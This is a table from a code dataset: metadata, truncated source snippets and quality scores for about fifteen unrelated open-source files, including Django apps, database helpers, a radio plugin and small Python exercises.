hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
05ae01aac492c81e8d3573584782d2cd17b9fff0 | 16,671 | py | Python | oec_web.py | OpenExoplanetCatalogue/oec_web | aa889d2544ad9e4203ea0a9cb4a8033684ce1512 | [
"MIT",
"Unlicense"
] | 19 | 2015-02-07T14:01:16.000Z | 2021-11-12T23:41:20.000Z | oec_web.py | OpenExoplanetCatalogue/oec_web | aa889d2544ad9e4203ea0a9cb4a8033684ce1512 | [
"MIT",
"Unlicense"
] | 14 | 2015-01-29T23:23:07.000Z | 2021-01-08T00:59:00.000Z | oec_web.py | OpenExoplanetCatalogue/oec_web | aa889d2544ad9e4203ea0a9cb4a8033684ce1512 | [
"MIT",
"Unlicense"
] | 17 | 2015-04-28T03:23:08.000Z | 2022-02-22T07:19:33.000Z | #import xml.etree.ElementTree as ET
import lxml.etree as ET
import glob
import os
import time
import urllib
import difflib
import copy
import json
import visualizations
import oec_filters
import datetime
import oec_fields
from bson.objectid import ObjectId
from functools import wraps
#import oec_plots
from numberformat... | 33.408818 | 208 | 0.619399 | 1,912 | 16,671 | 5.317469 | 0.208682 | 0.017311 | 0.018393 | 0.019671 | 0.23773 | 0.201731 | 0.169568 | 0.169568 | 0.146946 | 0.127471 | 0 | 0.004268 | 0.241017 | 16,671 | 498 | 209 | 33.475904 | 0.799257 | 0.051407 | 0 | 0.209877 | 0 | 0 | 0.148917 | 0.008586 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.014815 | 0.041975 | null | null | 0.009877 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05afbc147cbff79e1f9b44cd06a8934031b41d20 | 2,339 | py | Python | IntroProPython/listagem/capitulo 11/11.29 - Novas classes - listagem parcial.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | IntroProPython/listagem/capitulo 11/11.29 - Novas classes - listagem parcial.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | IntroProPython/listagem/capitulo 11/11.29 - Novas classes - listagem parcial.py | SweydAbdul/estudos-python | b052708d0566a0afb9a1c04d035467d45f820879 | [
"MIT"
] | null | null | null | ##############################################################################
# Parte do livro Introdução à Programação com Python
# Autor: Nilo Ney Coutinho Menezes
# Editora Novatec (c) 2010-2017
# Primeira edição - Novembro/2010 - ISBN 978-85-7522-250-8
# Primeira reimpressão - Outubro/2011
# Segunda reimpressão - ... | 29.987179 | 78 | 0.614793 | 263 | 2,339 | 5.212928 | 0.39924 | 0.03574 | 0.056163 | 0.018964 | 0.029176 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042123 | 0.218469 | 2,339 | 77 | 79 | 30.376623 | 0.707877 | 0.273194 | 0 | 0.148936 | 0 | 0 | 0.028815 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.255319 | false | 0 | 0 | 0.021277 | 0.468085 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05b54bb3fe5dc682880a95d84c390e21f038de58 | 2,040 | py | Python | byceps/blueprints/admin/news/forms.py | GSH-LAN/byceps | ab8918634e90aaa8574bd1bb85627759cef122fe | [
"BSD-3-Clause"
] | 33 | 2018-01-16T02:04:51.000Z | 2022-03-22T22:57:29.000Z | byceps/blueprints/admin/news/forms.py | GSH-LAN/byceps | ab8918634e90aaa8574bd1bb85627759cef122fe | [
"BSD-3-Clause"
] | 7 | 2019-06-16T22:02:03.000Z | 2021-10-02T13:45:31.000Z | byceps/blueprints/admin/news/forms.py | GSH-LAN/byceps | ab8918634e90aaa8574bd1bb85627759cef122fe | [
"BSD-3-Clause"
] | 14 | 2019-06-01T21:39:24.000Z | 2022-03-14T17:56:43.000Z | """
byceps.blueprints.admin.news.forms
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:Copyright: 2006-2021 Jochen Kupperschmidt
:License: Revised BSD (see `LICENSE` file for details)
"""
import re
from flask_babel import lazy_gettext
from wtforms import FileField, StringField, TextAreaField
from wtforms.fields.html5 import Dat... | 27.2 | 79 | 0.657843 | 197 | 2,040 | 6.675127 | 0.446701 | 0.11711 | 0.13384 | 0.038023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016605 | 0.202941 | 2,040 | 74 | 80 | 27.567568 | 0.792128 | 0.082353 | 0 | 0.083333 | 0 | 0 | 0.078326 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.041667 | 0.125 | 0 | 0.520833 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
05b96ce631c9290e2b36676226eaef02df761e51 | 824 | py | Python | arcfire/arcfire/migrations/0002_auto_20151112_0336.py | allanberry/arcfire | c41bad3ae7792406e169f9f7acd02f7e52467cbe | [
"MIT"
] | null | null | null | arcfire/arcfire/migrations/0002_auto_20151112_0336.py | allanberry/arcfire | c41bad3ae7792406e169f9f7acd02f7e52467cbe | [
"MIT"
] | 38 | 2015-10-21T19:10:36.000Z | 2015-12-18T11:57:12.000Z | arcfire/arcfire/migrations/0002_auto_20151112_0336.py | allanberry/arcfire | c41bad3ae7792406e169f9f7acd02f7e52467cbe | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9b1 on 2015-11-12 03:36
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('arcfire', '0001_initial'),
]
operations = [
... | 30.518519 | 158 | 0.612864 | 91 | 824 | 5.417582 | 0.659341 | 0.048682 | 0.056795 | 0.089249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03481 | 0.23301 | 824 | 26 | 159 | 31.692308 | 0.745253 | 0.081311 | 0 | 0.105263 | 1 | 0 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.157895 | 0 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05b9dda30fd0fb12c0f19ff7b3c4cc0f6dac7be0 | 630 | py | Python | LHBackEnd/userprofile/urls.py | minhthong582000/LH-back-end | 7555575a5e096d1502074fa2f743f1c1b4568543 | [
"Apache-2.0"
] | null | null | null | LHBackEnd/userprofile/urls.py | minhthong582000/LH-back-end | 7555575a5e096d1502074fa2f743f1c1b4568543 | [
"Apache-2.0"
] | null | null | null | LHBackEnd/userprofile/urls.py | minhthong582000/LH-back-end | 7555575a5e096d1502074fa2f743f1c1b4568543 | [
"Apache-2.0"
] | null | null | null | from django.urls import path
from django.conf.urls import url
from . import views
from django.views.generic.base import RedirectView
from rest_framework.urlpatterns import format_suffix_patterns
app_name = 'userprofile'
urlpatterns = [
path('profile/<int:pk>/', views.OtherUserDetail.as_view()), #includes favorite... | 39.375 | 118 | 0.765079 | 81 | 630 | 5.82716 | 0.493827 | 0.09322 | 0.088983 | 0.101695 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104762 | 630 | 16 | 119 | 39.375 | 0.836879 | 0.084127 | 0 | 0 | 0 | 0 | 0.185442 | 0.136915 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.384615 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
05bbade2f2ec37295e10e5d0ed3d9a8803d32394 | 693 | py | Python | bbpyp/common/model/queue_factory.py | BloggerBust/bbpyp | 078f940dd38bc3ee7c5adcfb2555c2843a4ca57b | [
"Apache-2.0"
] | null | null | null | bbpyp/common/model/queue_factory.py | BloggerBust/bbpyp | 078f940dd38bc3ee7c5adcfb2555c2843a4ca57b | [
"Apache-2.0"
] | null | null | null | bbpyp/common/model/queue_factory.py | BloggerBust/bbpyp | 078f940dd38bc3ee7c5adcfb2555c2843a4ca57b | [
"Apache-2.0"
] | null | null | null | from bbpyp.common.exception.bbpyp_value_error import BbpypValueError
from bbpyp.common.model.queue_type import QueueType
class QueueFactory:
def __init__(self, fifo_queue_factory, sequence_queue_factory):
self._fifo_queue_factory = fifo_queue_factory
self._sequence_queue_factory = sequence_queue_f... | 34.65 | 85 | 0.712843 | 81 | 693 | 5.654321 | 0.345679 | 0.209607 | 0.139738 | 0.131004 | 0.139738 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.220779 | 693 | 19 | 86 | 36.473684 | 0.848148 | 0 | 0 | 0 | 0 | 0 | 0.046176 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.133333 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05bf51d5a4d99bb71e1ff92fca3e542c34d1fe57 | 406 | py | Python | setup.py | OpenJarbas/pymetal | 33874ac4ad7ddbec3d80c44de3b3423baa8ce0c4 | [
"MIT"
] | 6 | 2020-03-27T12:08:06.000Z | 2021-05-16T06:55:04.000Z | setup.py | OpenJarbas/pymetal | 33874ac4ad7ddbec3d80c44de3b3423baa8ce0c4 | [
"MIT"
] | null | null | null | setup.py | OpenJarbas/pymetal | 33874ac4ad7ddbec3d80c44de3b3423baa8ce0c4 | [
"MIT"
] | 2 | 2020-08-16T16:36:27.000Z | 2022-02-13T00:58:07.000Z | from distutils.core import setup
setup(
name='pymetal',
version='0.5.0',
packages=[],
install_requires=["requests", "bs4", "requests_cache",
"random-user-agent", "lxml"],
url='https://www.github.com/OpenJarbas/pymetal',
license='Apache2.0',
author='jarbasAi',
autho... | 27.066667 | 58 | 0.633005 | 46 | 406 | 5.521739 | 0.826087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018519 | 0.20197 | 406 | 14 | 59 | 29 | 0.765432 | 0 | 0 | 0 | 0 | 0 | 0.416256 | 0.054187 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.076923 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05c0d55b652a7ee2f8c5354d6b41642da6b9172d | 6,459 | py | Python | contrib/disabled/reciva.py | leigh123linux/streamtuner2 | 43ded3a68bcf3d968a99c849d779fc8c3fb3d8d8 | [
"MIT"
] | 1 | 2019-03-03T19:58:01.000Z | 2019-03-03T19:58:01.000Z | contrib/disabled/reciva.py | leigh123linux/streamtuner2 | 43ded3a68bcf3d968a99c849d779fc8c3fb3d8d8 | [
"MIT"
] | null | null | null | contrib/disabled/reciva.py | leigh123linux/streamtuner2 | 43ded3a68bcf3d968a99c849d779fc8c3fb3d8d8 | [
"MIT"
] | null | null | null | # encoding: UTF-8
# api: streamtuner2
# title: Reciva
# url: https://radios.reciva.com/
# description: Home internet radio app and diverse station database.
# version: 0.4
# type: channel
# category: radio
# config: -
# status: obsolete
# priority: contrib
# png:
# iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAGFB... | 53.380165 | 1,147 | 0.586004 | 754 | 6,459 | 5.005305 | 0.482759 | 0.023847 | 0.031797 | 0.031797 | 0.052994 | 0.036566 | 0.016958 | 0 | 0 | 0 | 0 | 0.042375 | 0.225422 | 6,459 | 120 | 1,148 | 53.825 | 0.711773 | 0.191051 | 0 | 0.028986 | 0 | 0.043478 | 0.410449 | 0.012339 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057971 | false | 0.014493 | 0.086957 | 0 | 0.304348 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05c38eaa3065a8329a50e21ec13360c5ad6a7988 | 421 | py | Python | kaori/plugins/gacha/commands/test_analysis.py | austinpray/kizuna | b6f59b7d4a67ac68be65b75626e9f30c10f21e18 | [
"MIT"
] | 3 | 2018-04-18T04:52:50.000Z | 2019-11-07T18:47:43.000Z | kaori/plugins/gacha/commands/test_analysis.py | austinpray/kaori | b21c4146b9d0d27b87015cff0768138568a12e9c | [
"MIT"
] | 287 | 2020-04-21T02:39:47.000Z | 2022-03-28T13:11:59.000Z | kaori/plugins/gacha/commands/test_analysis.py | austinpray/kaori | b21c4146b9d0d27b87015cff0768138568a12e9c | [
"MIT"
] | 1 | 2020-10-22T00:20:43.000Z | 2020-10-22T00:20:43.000Z | import os
from .analysis import generate_report_charts
def test_report():
from ..engine.test.cards import sachiko, matt_morgan, ubu, xss, balanced_S, low_dmg
data = [sachiko, matt_morgan, ubu, ubu, xss, balanced_S, low_dmg]
report = generate_report_charts(data)
for f in report.values():
f.... | 23.388889 | 87 | 0.686461 | 62 | 421 | 4.467742 | 0.516129 | 0.101083 | 0.144404 | 0.144404 | 0.151625 | 0.151625 | 0 | 0 | 0 | 0 | 0 | 0.00885 | 0.194774 | 421 | 17 | 88 | 24.764706 | 0.80826 | 0 | 0 | 0 | 1 | 0 | 0.030879 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.1 | false | 0 | 0.3 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05c9e68e31db7d2fa4d3a737415e47aa48ce8fa2 | 3,415 | py | Python | orpy/client/base.py | indigo-dc/orpy | 350439ce0188f19714c999b4ec7a2b8d507aa41b | [
"Apache-2.0"
] | 3 | 2019-06-07T15:26:25.000Z | 2020-02-03T16:53:59.000Z | orpy/client/base.py | indigo-dc/orpy | 350439ce0188f19714c999b4ec7a2b8d507aa41b | [
"Apache-2.0"
] | null | null | null | orpy/client/base.py | indigo-dc/orpy | 350439ce0188f19714c999b4ec7a2b8d507aa41b | [
"Apache-2.0"
] | 1 | 2020-03-09T11:38:00.000Z | 2020-03-09T11:38:00.000Z | # -*- coding: utf-8 -*-
# Copyright 2019 Spanish National Research Council (CSIC)
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unle... | 29.439655 | 76 | 0.614934 | 412 | 3,415 | 4.93932 | 0.38835 | 0.027518 | 0.04914 | 0.058968 | 0.088452 | 0.057985 | 0.057985 | 0.057985 | 0 | 0 | 0 | 0.004139 | 0.292533 | 3,415 | 115 | 77 | 29.695652 | 0.838162 | 0.423133 | 0 | 0.188679 | 0 | 0 | 0.012555 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.169811 | false | 0.113208 | 0.018868 | 0.018868 | 0.490566 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
05d1503a50a40ab59c8577576303d29780043a35 | 583 | py | Python | Dataset/Leetcode/valid/98/709.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/valid/98/709.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | Dataset/Leetcode/valid/98/709.py | kkcookies99/UAST | fff81885aa07901786141a71e5600a08d7cb4868 | [
"MIT"
] | null | null | null | class Solution:
def look(self, root, ret):
if root is None: return
self.look(root.left, ret)
ret.append(root.val)
self.look(root.right, ret)
def XXX(self, root: TreeNode) -> bool:
if not root: return True
ret = []
self.look(root, ret)
pre = ret[0]
fo... | 25.347826 | 139 | 0.5506 | 76 | 583 | 4.223684 | 0.460526 | 0.074766 | 0.11215 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007576 | 0.320755 | 583 | 22 | 140 | 26.5 | 0.80303 | 0 | 0 | 0 | 0 | 0 | 0.013769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05d3a0c5abc905c3e0faa0df30324743d44e29f4 | 237 | py | Python | PRIMEIRO MUNDO - FIRST WORLD/Convertendo temperatura - 14.py | MatheusKlebson/Python-Course | c1c5404095601733057bd91a96b5b4c45f0b5b9a | [
"MIT"
] | null | null | null | PRIMEIRO MUNDO - FIRST WORLD/Convertendo temperatura - 14.py | MatheusKlebson/Python-Course | c1c5404095601733057bd91a96b5b4c45f0b5b9a | [
"MIT"
] | 1 | 2020-11-25T15:47:38.000Z | 2020-11-25T15:47:38.000Z | PRIMEIRO MUNDO - FIRST WORLD/Convertendo temperatura - 14.py | MatheusKlebson/Python-Course | c1c5404095601733057bd91a96b5b4c45f0b5b9a | [
"MIT"
] | null | null | null | #Exercício Python 014: Escreva um programa que converta uma temperatura digitando em graus Celsius
# converta para graus Fahrenheit.
c = float(input("Temperatura em celsius: "))
f = c * 9/5 + 32
print("Convertendo...",f,"Em Fahrenheit")
| 39.5 | 98 | 0.742616 | 34 | 237 | 5.176471 | 0.735294 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0.14346 | 237 | 5 | 99 | 47.4 | 0.832512 | 0.544304 | 0 | 0 | 0 | 0 | 0.481132 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05d3a102efb6d11793798855b7fa90e66c7aee1d | 19,575 | py | Python | stand-alone-testing-of-alt-sql-from-proc-solns/python/proc-vs-top-level-sql-for-multi-stmt-txns/cmn.py | d-uspenskiy/tpcc | ed0311d73d8c1e7d1e055781522195964e5acdcb | [
"Apache-2.0"
] | 9 | 2020-01-22T20:21:32.000Z | 2021-06-30T02:36:45.000Z | stand-alone-testing-of-alt-sql-from-proc-solns/python/proc-vs-top-level-sql-for-multi-stmt-txns/cmn.py | d-uspenskiy/tpcc | ed0311d73d8c1e7d1e055781522195964e5acdcb | [
"Apache-2.0"
] | 44 | 2020-01-20T08:53:34.000Z | 2022-02-25T20:34:49.000Z | stand-alone-testing-of-alt-sql-from-proc-solns/python/proc-vs-top-level-sql-for-multi-stmt-txns/cmn.py | d-uspenskiy/tpcc | ed0311d73d8c1e7d1e055781522195964e5acdcb | [
"Apache-2.0"
] | 20 | 2020-04-24T23:24:21.000Z | 2022-01-13T03:58:35.000Z | import argparse
import psycopg2
import datetime
# ----------------------------------------------------------------------------------------
class DbSession:
def __init__(self, params):
self.session = psycopg2.connect(params.connect_str)
self.session.set_session(isolation_level="repeatable read", au... | 35.080645 | 151 | 0.561635 | 2,413 | 19,575 | 4.261915 | 0.148777 | 0.069525 | 0.048619 | 0.057176 | 0.444282 | 0.34296 | 0.309704 | 0.264586 | 0.220051 | 0.188643 | 0 | 0.014633 | 0.308761 | 19,575 | 557 | 152 | 35.143627 | 0.745399 | 0.097676 | 0 | 0.26009 | 0 | 0.013453 | 0.669356 | 0.088073 | 0 | 0 | 0 | 0 | 0.006726 | 1 | 0.029148 | false | 0 | 0.006726 | 0 | 0.089686 | 0.006726 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05d3c6388b962b0997a66cfe6c3d21cc7a096283 | 18,446 | py | Python | S4/S4 Library/simulation/situations/complex/repo_situation.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | 1 | 2021-05-20T19:33:37.000Z | 2021-05-20T19:33:37.000Z | S4/S4 Library/simulation/situations/complex/repo_situation.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | S4/S4 Library/simulation/situations/complex/repo_situation.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | import enum
import operator
import random
from event_testing.resolver import SingleObjectResolver, SingleSimResolver
from event_testing.test_events import TestEvent
from event_testing.tests import TunableTestSet
from interactions.utils.outcome_enums import OutcomeResult
from interactions.utils.success_chance import Suc... | 68.572491 | 5,764 | 0.710181 | 2,283 | 18,446 | 5.440648 | 0.154183 | 0.016424 | 0.016665 | 0.020288 | 0.450044 | 0.406731 | 0.376218 | 0.303035 | 0.256099 | 0.225505 | 0 | 0.002208 | 0.214464 | 18,446 | 269 | 5,765 | 68.572491 | 0.855003 | 0 | 0 | 0.385281 | 0 | 0.051948 | 0.215916 | 0.015179 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125541 | false | 0.008658 | 0.08658 | 0.017316 | 0.337662 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05d5af4312e21f1f9ab8d022d2b76d516a33aa34 | 9,461 | py | Python | myuw/dao/card_display_dates.py | uw-it-aca/myuw | 3fa1fabeb3c09d81a049f7c1a8c94092d612438a | [
"Apache-2.0"
] | 18 | 2015-02-04T01:09:11.000Z | 2021-11-25T03:10:39.000Z | myuw/dao/card_display_dates.py | uw-it-aca/myuw | 3fa1fabeb3c09d81a049f7c1a8c94092d612438a | [
"Apache-2.0"
] | 2,323 | 2015-01-15T19:45:10.000Z | 2022-03-21T19:57:06.000Z | myuw/dao/card_display_dates.py | uw-it-aca/myuw | 3fa1fabeb3c09d81a049f7c1a8c94092d612438a | [
"Apache-2.0"
] | 9 | 2015-01-15T19:29:26.000Z | 2022-02-11T04:51:23.000Z | # Copyright 2021 UW-IT, University of Washington
# SPDX-License-Identifier: Apache-2.0
"""
Generates the booleans to determine card visibility,
based on dates in either the current, next, or previous term.
